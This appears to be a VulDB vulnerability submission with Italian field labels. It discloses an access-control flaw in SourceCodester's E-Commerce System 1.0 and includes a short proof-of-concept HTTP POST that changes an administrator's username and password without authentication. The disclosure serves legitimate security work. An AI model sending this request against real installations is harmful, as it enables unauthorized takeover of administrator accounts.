| Titolo | E-Commerce System Improper Access Control |
|---|
| Descrizione | An Improper Access Control has been discovered in E-Commerce System, remote and unauthorized attackers could change the administrator user's name and password without authentication when the USERID is correct.
POC below:
POST /ecommerce/admin/user/controller.php?action=edit HTTP/1.1
*********************HEADER WITHOUT COOKIE********************************
USERID=127&deptid=&U_NAME=foo&deptid=&U_USERNAME=craig&deptid=&U_PASS=foo1234&U_ROLE=Administrator&save=
then the user craig's password will be set to 'foo1234' |
|---|
| Fonte | ⚠️ https://www.sourcecodester.com/php/13524/e-commerce-system-using-phpmysqli.html |
|---|
| Utente | WWesleywww (UID 43117) |
|---|
| Sottomissione | 20/03/2023 08:57 (3 anni fa) |
|---|
| Moderazione | 22/03/2023 10:59 (2 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 223550 [SourceCodester E-Commerce System 1.0 Username controller.php?action=edit USERID escalationi di privilegi] |
|---|
| Punti | 20 |
|---|